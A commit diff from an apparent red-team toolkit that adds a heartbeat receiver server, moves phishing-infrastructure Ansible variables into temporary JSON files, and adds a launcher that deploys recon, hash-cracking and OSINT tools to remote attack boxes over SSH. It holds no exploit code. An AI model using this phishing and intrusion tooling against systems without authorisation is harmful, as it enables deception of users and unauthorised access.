Fix 11 bugs found in full codebase review

- deploy_phishing.py: undefined extra_vars on orchestration playbook
- freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable()
- freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call
- certipy-enum.py: password exposed in process list and logs; pass via env var
- cleanup_engine.py: load_vars_file() called with path string, expects provider name
- ioc-u.py: scapy import not guarded; tool crashed if scapy missing
- um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers
- ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var
- recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user
- um-crack.py: missing --scope flag inconsistent with all other Umbra tools
- heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
This commit is contained in:
n0mad1k
2026-04-01 22:11:01 -04:00
parent 2cc2b0f9a8
commit 1d95a868a0
12 changed files with 4034 additions and 84 deletions
+167
View File
@@ -0,0 +1,167 @@
#!/usr/bin/env python3
"""heartbeat_ingest.py — HTTP(S) server that receives heartbeat POSTs and writes to engagement state.
Writes heartbeats to: ~/.umbra/engagements/{engagement}/heartbeats/{hostname}.json
Usage:
python heartbeat_ingest.py <engagement> [--port 8443] [--bind 127.0.0.1]
python heartbeat_ingest.py <engagement> --tls --cert cert.pem --key key.pem
python heartbeat_ingest.py <engagement> --auth-token SECRET
"""
import argparse
import hashlib
import hmac
import json
import os
import ssl
import subprocess
import sys
import tempfile
from http.server import HTTPServer, BaseHTTPRequestHandler
UMBRA_HOME = os.path.expanduser("~/.umbra")
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
# Will be set by main()
_engagement_name = ""
_heartbeat_dir = ""
_auth_token = ""
class HeartbeatHandler(BaseHTTPRequestHandler):
"""Handle POST /hb with JSON heartbeat payload."""
def _check_auth(self):
"""Validate auth token if configured."""
if not _auth_token:
return True
token = self.headers.get("X-Auth-Token", "")
return hmac.compare_digest(token, _auth_token)
def do_POST(self):
if not self._check_auth():
self.send_response(403)
self.end_headers()
self.wfile.write(b"forbidden")
return
try:
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length)
data = json.loads(body)
hostname = data.get("hostname", "unknown").replace("/", "_").replace("..", "_")
hb_path = os.path.join(_heartbeat_dir, f"{hostname}.json")
with open(hb_path, "w") as f:
json.dump(data, f, indent=2)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
print(f" [+] {data.get('ts', '?')} heartbeat from {hostname} ({data.get('ip', '?')})")
except (json.JSONDecodeError, KeyError) as e:
self.send_response(400)
self.end_headers()
self.wfile.write(f"bad request: {e}".encode())
except Exception as e:
self.send_response(500)
self.end_headers()
self.wfile.write(f"error: {e}".encode())
def do_GET(self):
"""Health check endpoint."""
if not self._check_auth():
self.send_response(403)
self.end_headers()
self.wfile.write(b"forbidden")
return
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps({"status": "ok", "engagement": _engagement_name}).encode())
def log_message(self, fmt, *args):
"""Suppress default access logging."""
pass
def generate_self_signed_cert(cert_path, key_path):
"""Generate a self-signed certificate for TLS."""
try:
subprocess.run([
"openssl", "req", "-x509", "-newkey", "rsa:2048",
"-keyout", key_path, "-out", cert_path,
"-days", "365", "-nodes",
"-subj", "/CN=heartbeat-ingest",
], check=True, capture_output=True)
except FileNotFoundError:
raise RuntimeError("openssl not found — install it or provide --cert/--key manually")
print(f"[*] Generated self-signed cert: {cert_path}")
def main():
global _engagement_name, _heartbeat_dir, _auth_token
parser = argparse.ArgumentParser(description="Heartbeat ingest server")
parser.add_argument("engagement", help="Engagement name")
parser.add_argument("--port", "-p", type=int, default=8443, help="Listen port (default: 8443)")
parser.add_argument("--bind", "-b", default="127.0.0.1", help="Bind address (default: 127.0.0.1)")
parser.add_argument("--auth-token", default=os.environ.get("UMBRA_HB_TOKEN", ""),
help="Shared secret for auth (X-Auth-Token header)")
parser.add_argument("--tls", action="store_true", help="Enable TLS")
parser.add_argument("--cert", default="", help="TLS certificate path (PEM)")
parser.add_argument("--key", default="", help="TLS private key path (PEM)")
args = parser.parse_args()
_engagement_name = args.engagement.strip().replace(" ", "_")
_heartbeat_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name, "heartbeats")
os.makedirs(_heartbeat_dir, exist_ok=True)
_auth_token = args.auth_token
# Also ensure engagement dir exists
eng_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name)
os.makedirs(eng_dir, exist_ok=True)
server = HTTPServer((args.bind, args.port), HeartbeatHandler)
# TLS setup
if args.tls:
cert_path = args.cert
key_path = args.key
# Auto-generate self-signed cert if none provided
if not cert_path or not key_path:
cert_dir = os.path.join(eng_dir, "tls")
os.makedirs(cert_dir, exist_ok=True)
cert_path = os.path.join(cert_dir, "heartbeat.crt")
key_path = os.path.join(cert_dir, "heartbeat.key")
if not os.path.exists(cert_path):
generate_self_signed_cert(cert_path, key_path)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(cert_path, key_path)
server.socket = ctx.wrap_socket(server.socket, server_side=True)
proto = "https"
else:
proto = "http"
print(f"[*] Heartbeat ingest listening on {args.bind}:{args.port} ({proto})")
print(f"[*] Engagement: {_engagement_name}")
print(f"[*] Writing to: {_heartbeat_dir}")
print(f"[*] Auth: {'enabled' if _auth_token else 'disabled'}")
print(f"[*] Endpoint: POST {proto}://<this-host>:{args.port}/hb")
print()
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] Stopped")
server.server_close()
if __name__ == "__main__":
main()
+44 -14
View File
@@ -447,38 +447,55 @@ def execute_component_deployment(config):
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
}
# Build extra vars for ansible
extra_vars = []
# Build extra vars for ansible as JSON (safe for special chars)
import json as _json
import tempfile as _tempfile
extra_vars_dict = {}
for key, value in config.items():
if isinstance(value, (str, int, bool)):
extra_vars.append(f"{key}={value}")
extra_vars_dict[key] = value
deployed_components = []
try:
# Deploy each enabled component
for component, playbook_path in component_playbooks.items():
if config.get(component, False):
print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}")
# Check if playbook exists
if not os.path.exists(playbook_path):
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
continue
# Write vars to temp file (avoids CLI exposure)
_vars_file = _tempfile.NamedTemporaryFile(
mode='w', suffix='.json', prefix='phish_vars_',
delete=False
)
_json.dump(extra_vars_dict, _vars_file)
_vars_file.close()
os.chmod(_vars_file.name, 0o600)
# Build ansible command
cmd = [
'ansible-playbook',
playbook_path,
'--extra-vars',
' '.join(extra_vars)
f'@{_vars_file.name}'
]
print(f"{COLORS['GRAY']}Running: {' '.join(cmd)}{COLORS['RESET']}")
print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}")
# Execute playbook
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
# Clean up temp vars file
try:
os.unlink(_vars_file.name)
except OSError:
pass
if result.returncode == 0:
print(f"{COLORS['GREEN']}{component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
deployed_components.append(component)
@@ -490,16 +507,29 @@ def execute_component_deployment(config):
# Deploy the orchestration playbook to save state
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
_orch_vars_file = _tempfile.NamedTemporaryFile(
mode='w', suffix='.json', prefix='phish_orch_',
delete=False
)
_json.dump(extra_vars_dict, _orch_vars_file)
_orch_vars_file.close()
os.chmod(_orch_vars_file.name, 0o600)
cmd = [
'ansible-playbook',
orchestration_playbook,
'--extra-vars',
' '.join(extra_vars)
f'@{_orch_vars_file.name}'
]
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
try:
os.unlink(_orch_vars_file.name)
except OSError:
pass
if result.returncode == 0:
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
return True
+872
View File
@@ -0,0 +1,872 @@
#!/usr/bin/env python3
"""
Recon & Red Team Tools — c2itall integration module
Provides local launch + remote deployment for Umbra suite and custom Red Team tools.
"""
import os
import sys
import subprocess
import glob
from datetime import datetime
# Add parent paths for imports
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
# ─── Tool Path Registry ─────────────────────────────────────────────────────
C2ITALL_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
UMBRA_PATH = os.path.join(C2ITALL_ROOT, "tools", "umbra")
REDTEAM_PATH = os.path.join(C2ITALL_ROOT, "tools", "redteam")
TOOLS = {
# Umbra tools
"umbra-launcher": {
"path": os.path.join(UMBRA_PATH, "umbra.py"),
"type": "python",
"desc": "Unified Umbra Launcher",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow", "beautifulsoup4"],
},
"um-scan": {
"path": os.path.join(UMBRA_PATH, "um-scan.py"),
"type": "python",
"desc": "TCP Port Scanner",
"deps": ["rich", "click", "aiohttp"],
},
"um-api": {
"path": os.path.join(UMBRA_PATH, "um-api.py"),
"type": "python",
"desc": "API Endpoint Discovery",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
},
"um-intel": {
"path": os.path.join(UMBRA_PATH, "um-intel.py"),
"type": "python",
"desc": "Passive OSINT Aggregator",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
},
"um-enum": {
"path": os.path.join(UMBRA_PATH, "um-enum.py"),
"type": "python",
"desc": "Predictive URL Enumeration",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
},
"um-fuzz": {
"path": os.path.join(UMBRA_PATH, "um-fuzz.py"),
"type": "python",
"desc": "Web Path Discovery",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
},
"um-hash": {
"path": os.path.join(UMBRA_PATH, "um-hash.py"),
"type": "python",
"desc": "Gravatar Hash Extraction",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
},
"um-wp": {
"path": os.path.join(UMBRA_PATH, "um-wp.py"),
"type": "python",
"desc": "WordPress Detection",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
},
"um-crack": {
"path": os.path.join(UMBRA_PATH, "um-crack.py"),
"type": "python",
"desc": "Hash Cracker",
"deps": ["rich", "click"],
},
"um-exif": {
"path": os.path.join(UMBRA_PATH, "um-exif.py"),
"type": "python",
"desc": "EXIF Metadata Extraction",
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow"],
},
"um-vault": {
"path": os.path.join(UMBRA_PATH, "um-vault.py"),
"type": "python",
"desc": "Master Database Aggregator",
"deps": ["rich", "click"],
},
# Red Team tools
"trashpanda": {
"path": os.path.join(REDTEAM_PATH, "trashpanda", "trashpanda.py"),
"type": "python",
"desc": "Network Enumeration",
"deps": [],
},
"ioc-u": {
"path": os.path.join(REDTEAM_PATH, "ioc-u", "ioc-u.py"),
"type": "python",
"desc": "Blue Team Detection & Intel",
"deps": ["scapy", "numpy", "scikit-learn"],
},
"lions-share": {
"path": os.path.join(REDTEAM_PATH, "lions-share", "lions-share.py"),
"type": "python",
"desc": "SSHFS Mount & Backup",
"deps": ["click", "python-crontab"],
"sys_deps": ["sshfs", "rsync"],
},
"micro-scope": {
"path": os.path.join(REDTEAM_PATH, "micro-scope", "micro-scope.py"),
"type": "python",
"desc": "Scope Verification",
"deps": [],
},
"linkedout": {
"path": os.path.join(REDTEAM_PATH, "linkedout", "linkedout.py"),
"type": "python",
"desc": "LinkedIn OSINT",
"deps": ["selenium", "webdriver-manager", "beautifulsoup4"],
},
"ops-logger": {
"path": os.path.join(REDTEAM_PATH, "ops-logger.sh"),
"type": "bash",
"desc": "Terminal Session Logging",
"deps": [],
},
"freebird": {
"path": os.path.join(REDTEAM_PATH, "freebird", "main.py"),
"type": "python",
"desc": "MITRE ATT&CK Framework",
"deps": ["InquirerPy", "requests", "click"],
},
"regex-search": {
"path": os.path.join(REDTEAM_PATH, "regex-search", "regex-search-tool.py"),
"type": "python",
"desc": "Sensitive Data Search",
"deps": [],
},
"certipy-enum": {
"path": os.path.join(REDTEAM_PATH, "certipy-enum.py"),
"type": "python",
"desc": "ADCS Enumeration",
"deps": [],
},
"ping-sweep": {
"path": os.path.join(REDTEAM_PATH, "ping-sweep.py"),
"type": "python",
"desc": "Network Discovery",
"deps": [],
"sys_deps": ["nmap"],
},
# Forensics / sandbox tools
"ir-sandbox": {
"path": os.path.expanduser("~/tools/ir-sandbox/ir-sandbox.py"),
"type": "python",
"desc": "Malware Analysis & IR Platform",
"deps": [],
},
"link-sandbox": {
"path": os.path.expanduser("~/tools/link-sandbox/analyze.py"),
"type": "python",
"desc": "Secure URL Analysis",
"deps": [],
},
# Ops tools
"ops-dashboard": {
"path": os.path.join(C2ITALL_ROOT, "ops_dashboard.py"),
"type": "python",
"desc": "Real-Time Engagement Monitor",
"deps": ["rich"],
},
"ops-bridge": {
"path": os.path.join(C2ITALL_ROOT, "ops_bridge.py"),
"type": "python",
"desc": "Remote State Sync (rsync)",
"deps": [],
"sys_deps": ["rsync"],
},
"heartbeat-ingest": {
"path": os.path.join(C2ITALL_ROOT, "heartbeat", "heartbeat_ingest.py"),
"type": "python",
"desc": "Heartbeat Receiver Server",
"deps": [],
},
}
# Tool groups for menu organization
UMBRA_TOOLS = [
"umbra-launcher", "um-scan", "um-api", "um-intel", "um-enum",
"um-fuzz", "um-hash", "um-wp", "um-crack", "um-exif", "um-vault",
]
REDTEAM_TOOLS = [
"trashpanda", "ioc-u", "lions-share", "micro-scope", "linkedout",
"ops-logger", "freebird", "regex-search", "certipy-enum", "ping-sweep",
]
OPS_TOOLS = ["ops-dashboard", "ops-bridge", "heartbeat-ingest"]
# Deployment tracking file
DEPLOY_LOG = os.path.expanduser("~/.c2itall_tool_deployments.log")
# ─── Utility Functions ──────────────────────────────────────────────────────
def check_tool_status(tool_name):
"""Check if a tool exists locally."""
info = TOOLS.get(tool_name)
if not info:
return False
return os.path.exists(info["path"])
def launch_local_tool(tool_name):
"""Launch a tool locally."""
info = TOOLS.get(tool_name)
if not info:
print(f"{COLORS['RED']}Unknown tool: {tool_name}{COLORS['RESET']}")
return
if not os.path.exists(info["path"]):
print(f"{COLORS['RED']}Tool not found: {info['path']}{COLORS['RESET']}")
wait_for_input()
return
tool_dir = os.path.dirname(info["path"])
if info["type"] == "python":
cmd = [sys.executable, info["path"]]
elif info["type"] == "bash":
cmd = ["bash", info["path"]]
else:
print(f"{COLORS['RED']}Unknown tool type: {info['type']}{COLORS['RESET']}")
return
print(f"\n{COLORS['CYAN']}Launching {tool_name}...{COLORS['RESET']}\n")
try:
subprocess.run(cmd, cwd=tool_dir)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Tool interrupted{COLORS['RESET']}")
except Exception as e:
print(f"{COLORS['RED']}Error launching {tool_name}: {e}{COLORS['RESET']}")
wait_for_input()
def log_deployment(host, tools_deployed, ssh_user, ssh_key):
"""Log a tool deployment for future SSH & Run."""
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open(DEPLOY_LOG, "a") as f:
tools_str = ",".join(tools_deployed)
f.write(f"{ts}|{host}|{ssh_user}|{ssh_key}|{tools_str}\n")
def get_deployments():
"""Read deployment log and return list of deployments."""
if not os.path.exists(DEPLOY_LOG):
return []
deployments = []
with open(DEPLOY_LOG) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|")
if len(parts) >= 5:
deployments.append({
"timestamp": parts[0],
"host": parts[1],
"ssh_user": parts[2],
"ssh_key": parts[3],
"tools": parts[4].split(","),
})
return deployments
def get_active_attack_boxes():
"""Get active attack box deployments from c2itall logs."""
hosts = []
log_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'logs')
info_files = glob.glob(os.path.join(log_dir, "deployment_info_*.txt"))
for info_file in info_files:
try:
with open(info_file) as f:
content = f.read()
# Extract IP and SSH info
ip = None
ssh_user = None
ssh_key = None
for line in content.splitlines():
line = line.strip()
if "IP:" in line or "attack_box_ip:" in line:
ip = line.split(":")[-1].strip().strip('"')
elif "SSH User:" in line:
ssh_user = line.split(":")[-1].strip()
elif "SSH Key:" in line:
ssh_key = line.split(":")[-1].strip()
if ip:
hosts.append({
"ip": ip,
"ssh_user": ssh_user or "root",
"ssh_key": ssh_key,
"source": os.path.basename(info_file),
})
except Exception:
pass
return hosts
# ─── Deployment Functions ───────────────────────────────────────────────────
def select_target_host():
"""Select a target host from active deployments or manual entry."""
print(f"\n{COLORS['CYAN']}Select target machine:{COLORS['RESET']}")
# Check c2itall active deployments
attack_boxes = get_active_attack_boxes()
if attack_boxes:
print(f"\n {COLORS['GREEN']}Active c2itall deployments:{COLORS['RESET']}")
for i, box in enumerate(attack_boxes, 1):
print(f" {i}) {box['ip']} ({box['ssh_user']}@) — {box['source']}")
print(f" {len(attack_boxes) + 1}) Manual entry")
choice = input(f"\n Select: ").strip()
try:
idx = int(choice) - 1
if 0 <= idx < len(attack_boxes):
box = attack_boxes[idx]
return box["ip"], box["ssh_user"], box.get("ssh_key")
except ValueError:
pass
else:
print(f" {COLORS['YELLOW']}No active c2itall deployments found{COLORS['RESET']}")
# Manual entry
host = input(f"\n Enter target (user@host or host): ").strip()
if not host:
return None, None, None
if "@" in host:
ssh_user, host = host.split("@", 1)
else:
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or "root"
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
return host, ssh_user, ssh_key
def _build_ssh_cmd(host, ssh_user, ssh_key, command=None, interactive=False):
"""Build an SSH command list."""
cmd = ["ssh"]
if ssh_key:
cmd.extend(["-i", ssh_key])
# Use accept-new: trust on first connect, reject if key changes
known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts")
cmd.extend([
"-o", "StrictHostKeyChecking=accept-new",
"-o", f"UserKnownHostsFile={known_hosts}",
"-o", "IdentitiesOnly=yes",
])
if interactive:
cmd.append("-t")
cmd.append(f"{ssh_user}@{host}")
if command:
cmd.append(command)
return cmd
def _build_scp_cmd(ssh_key=None):
"""Build base SCP command with consistent SSH options."""
known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts")
cmd = ["scp", "-o", "StrictHostKeyChecking=accept-new", "-o", f"UserKnownHostsFile={known_hosts}"]
if ssh_key:
cmd.extend(["-i", ssh_key])
return cmd
def deploy_umbra_remote(host, ssh_user, ssh_key):
"""Deploy Umbra suite to remote machine."""
print(f"\n{COLORS['CYAN']}Deploying Umbra to {ssh_user}@{host}...{COLORS['RESET']}")
# Create remote directory
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra")
result = subprocess.run(ssh_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['RED']}Failed to create remote directory: {result.stderr}{COLORS['RESET']}")
return False
# SCP Umbra files
scp_cmd = _build_scp_cmd(ssh_key)
# Copy all Python files and wordlists
py_files = glob.glob(os.path.join(UMBRA_PATH, "*.py"))
if not py_files:
print(f"{COLORS['RED']}No Umbra Python files found at {UMBRA_PATH}{COLORS['RESET']}")
return False
scp_cmd.extend(py_files)
scp_cmd.append(f"{ssh_user}@{host}:/opt/umbra/")
print(f" Copying {len(py_files)} Python files...")
result = subprocess.run(scp_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['RED']}SCP failed: {result.stderr}{COLORS['RESET']}")
return False
# Copy wordlists if they exist
wordlist_dir = os.path.join(UMBRA_PATH, "wordlists")
if os.path.isdir(wordlist_dir):
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra/wordlists")
subprocess.run(ssh_cmd, capture_output=True)
scp_wl = _build_scp_cmd(ssh_key)
scp_wl.extend(["-r", wordlist_dir + "/"])
scp_wl.append(f"{ssh_user}@{host}:/opt/umbra/wordlists/")
print(f" Copying wordlists...")
subprocess.run(scp_wl, capture_output=True)
# Install pip dependencies
all_deps = set()
for tool in UMBRA_TOOLS:
info = TOOLS.get(tool, {})
all_deps.update(info.get("deps", []))
if all_deps:
deps_str = " ".join(sorted(all_deps))
print(f" Installing dependencies: {deps_str}")
install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}")
result = subprocess.run(install_cmd, capture_output=True, text=True, timeout=120)
if result.returncode != 0:
print(f"{COLORS['YELLOW']}Warning: Some deps may have failed: {result.stderr[:200]}{COLORS['RESET']}")
# Verify
print(f" Verifying installation...")
verify_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
"python3 -m py_compile /opt/umbra/um_tui.py && echo 'VERIFY_OK'")
result = subprocess.run(verify_cmd, capture_output=True, text=True)
if "VERIFY_OK" in result.stdout:
print(f"{COLORS['GREEN']}Umbra deployed successfully to {host}:/opt/umbra/{COLORS['RESET']}")
log_deployment(host, UMBRA_TOOLS, ssh_user, ssh_key or "default")
return True
else:
print(f"{COLORS['RED']}Verification failed{COLORS['RESET']}")
return False
def deploy_redteam_remote(host, ssh_user, ssh_key):
"""Deploy Red Team tools to remote machine."""
print(f"\n{COLORS['CYAN']}Deploying Red Team tools to {ssh_user}@{host}...{COLORS['RESET']}")
# Create remote directories
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
"mkdir -p /opt/redteam/{trashpanda,ioc-u,lions-share,micro-scope,linkedout,freebird,regex-search}")
subprocess.run(ssh_cmd, capture_output=True)
deployed = []
for tool_name in REDTEAM_TOOLS:
info = TOOLS.get(tool_name)
if not info:
continue
src_path = info["path"]
if not os.path.exists(src_path):
print(f" {COLORS['YELLOW']}Skipping {tool_name}: not found locally{COLORS['RESET']}")
continue
# Determine remote path
remote_dir = f"/opt/redteam/{tool_name}"
src_dir = os.path.dirname(src_path)
scp_cmd = _build_scp_cmd(ssh_key)
# If it's a single file, just copy the file
if os.path.isfile(src_path) and src_dir == os.path.dirname(src_path):
ssh_mkdir = _build_ssh_cmd(host, ssh_user, ssh_key, f"mkdir -p {remote_dir}")
subprocess.run(ssh_mkdir, capture_output=True)
scp_cmd.extend([src_path, f"{ssh_user}@{host}:{remote_dir}/"])
else:
scp_cmd.extend(["-r", src_dir + "/"])
scp_cmd.append(f"{ssh_user}@{host}:{remote_dir}/")
result = subprocess.run(scp_cmd, capture_output=True, text=True)
if result.returncode == 0:
print(f" {COLORS['GREEN']}Deployed: {tool_name}{COLORS['RESET']}")
deployed.append(tool_name)
else:
print(f" {COLORS['RED']}Failed: {tool_name}{result.stderr[:100]}{COLORS['RESET']}")
# Install deps for deployed tools
all_deps = set()
for tool_name in deployed:
info = TOOLS.get(tool_name, {})
all_deps.update(info.get("deps", []))
if all_deps:
deps_str = " ".join(sorted(all_deps))
print(f"\n Installing dependencies: {deps_str}")
install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}")
subprocess.run(install_cmd, capture_output=True, text=True, timeout=120)
if deployed:
print(f"\n{COLORS['GREEN']}Deployed {len(deployed)} Red Team tools to {host}{COLORS['RESET']}")
log_deployment(host, deployed, ssh_user, ssh_key or "default")
return len(deployed) > 0
def ssh_run_tool(host, ssh_user, ssh_key, tool_path, interactive=True):
"""SSH into a remote machine and run a tool."""
if interactive:
cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"cd {os.path.dirname(tool_path)} && python3 {tool_path}",
interactive=True)
else:
cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"python3 {tool_path}")
print(f"\n{COLORS['CYAN']}Connecting to {ssh_user}@{host}...{COLORS['RESET']}")
try:
subprocess.run(cmd)
except KeyboardInterrupt:
print(f"\n{COLORS['YELLOW']}Session ended{COLORS['RESET']}")
def check_remote_tools(host, ssh_user, ssh_key):
"""Check which tools are installed on a remote machine."""
print(f"\n{COLORS['CYAN']}Checking tools on {ssh_user}@{host}...{COLORS['RESET']}\n")
# Check Umbra
check_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
"ls /opt/umbra/*.py 2>/dev/null && echo '---DIVIDER---' && ls /opt/redteam/*/ 2>/dev/null")
result = subprocess.run(check_cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"{COLORS['YELLOW']}Could not connect or no tools found{COLORS['RESET']}")
return
output = result.stdout
if "---DIVIDER---" in output:
umbra_part, redteam_part = output.split("---DIVIDER---", 1)
else:
umbra_part = output
redteam_part = ""
print(f" {COLORS['WHITE']}Umbra Suite:{COLORS['RESET']}")
if umbra_part.strip():
for line in umbra_part.strip().splitlines():
fname = os.path.basename(line.strip())
print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {fname}")
else:
print(f" {COLORS['RED']}Not installed{COLORS['RESET']}")
print(f"\n {COLORS['WHITE']}Red Team Tools:{COLORS['RESET']}")
if redteam_part.strip():
for line in redteam_part.strip().splitlines():
print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {line.strip()}")
else:
print(f" {COLORS['RED']}Not installed{COLORS['RESET']}")
# ─── Menu Functions ─────────────────────────────────────────────────────────
def umbra_submenu():
"""Submenu for Umbra Reconnaissance Suite."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}UMBRA RECONNAISSANCE SUITE{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=========================={COLORS['RESET']}")
print(f"1) um-scan — TCP Port Scanner")
print(f"2) um-api — API Endpoint Discovery")
print(f"3) um-intel — OSINT Aggregator")
print(f"4) um-enum — URL Enumeration")
print(f"5) um-fuzz — Directory Fuzzer")
print(f"6) um-hash — Hash Extraction")
print(f"7) um-wp — WordPress Scanner")
print(f"8) um-crack — Password Cracker")
print(f"9) um-exif — EXIF Metadata")
print(f"10) um-vault — Database Manager")
print(f"99) Back")
choice = input(f"\nSelect: ").strip()
tool_map = {
"1": "um-scan", "2": "um-api", "3": "um-intel",
"4": "um-enum", "5": "um-fuzz", "6": "um-hash",
"7": "um-wp", "8": "um-crack", "9": "um-exif",
"10": "um-vault",
}
if choice == "99":
return
elif choice in tool_map:
launch_local_tool(tool_map[choice])
wait_for_input()
else:
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
wait_for_input()
def redteam_submenu():
"""Submenu for Red Team Operations Tools."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}RED TEAM OPERATIONS TOOLS{COLORS['RESET']}")
print(f"{COLORS['WHITE']}========================={COLORS['RESET']}")
print(f"1) TrashPanda — Network Enumeration")
print(f"2) IOC-U — Blue Team Detection & Intel")
print(f"3) Lions-Share — SSHFS Mount & Backup")
print(f"4) micro-scope — Scope Verification")
print(f"5) linkedout — LinkedIn OSINT")
print(f"6) ops-logger — Terminal Session Logging")
print(f"7) freebird — MITRE ATT&CK Framework")
print(f"8) regex-search — Sensitive Data Search")
print(f"9) certipy-enum — ADCS Enumeration")
print(f"10) ping-sweep — Network Discovery")
print(f"99) Back")
choice = input(f"\nSelect: ").strip()
tool_map = {
"1": "trashpanda", "2": "ioc-u", "3": "lions-share",
"4": "micro-scope", "5": "linkedout", "6": "ops-logger",
"7": "freebird", "8": "regex-search", "9": "certipy-enum",
"10": "ping-sweep",
}
if choice == "99":
return
elif choice in tool_map:
launch_local_tool(tool_map[choice])
wait_for_input()
else:
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
wait_for_input()
def remote_submenu():
"""Submenu for Remote Deployment."""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}REMOTE DEPLOYMENT{COLORS['RESET']}")
print(f"{COLORS['WHITE']}================={COLORS['RESET']}")
print(f"1) Deploy Umbra Suite to Remote Machine")
print(f"2) Deploy Red Team Tools to Remote Machine")
print(f"3) Deploy All Tools to Remote Machine")
print(f"4) SSH into Remote & Run Umbra")
print(f"5) SSH into Remote & Run Tool")
print(f"6) Check Remote Tool Status")
print(f"99) Back")
choice = input(f"\nSelect: ").strip()
if choice == "99":
return
elif choice == "1":
host, ssh_user, ssh_key = select_target_host()
if host:
deploy_umbra_remote(host, ssh_user, ssh_key)
wait_for_input()
elif choice == "2":
host, ssh_user, ssh_key = select_target_host()
if host:
deploy_redteam_remote(host, ssh_user, ssh_key)
wait_for_input()
elif choice == "3":
host, ssh_user, ssh_key = select_target_host()
if host:
deploy_umbra_remote(host, ssh_user, ssh_key)
deploy_redteam_remote(host, ssh_user, ssh_key)
wait_for_input()
elif choice == "4":
# SSH into remote and run Umbra launcher
deployments = get_deployments()
if not deployments:
host, ssh_user, ssh_key = select_target_host()
else:
print(f"\n{COLORS['CYAN']}Known deployments:{COLORS['RESET']}")
for i, d in enumerate(deployments, 1):
print(f" {i}) {d['host']} ({d['ssh_user']}@) — deployed {d['timestamp']}")
print(f" {len(deployments) + 1}) Other host")
sel = input(f"\n Select: ").strip()
try:
idx = int(sel) - 1
if 0 <= idx < len(deployments):
d = deployments[idx]
host = d["host"]
ssh_user = d["ssh_user"]
ssh_key = d["ssh_key"] if d["ssh_key"] != "default" else None
else:
host, ssh_user, ssh_key = select_target_host()
except ValueError:
host, ssh_user, ssh_key = select_target_host()
if host:
ssh_run_tool(host, ssh_user, ssh_key, "/opt/umbra/umbra.py")
wait_for_input()
elif choice == "5":
# SSH into remote and run a specific tool
host, ssh_user, ssh_key = select_target_host()
if not host:
wait_for_input()
continue
print(f"\n{COLORS['CYAN']}Select tool to run:{COLORS['RESET']}")
all_tools = list(TOOLS.keys())
for i, name in enumerate(all_tools, 1):
info = TOOLS[name]
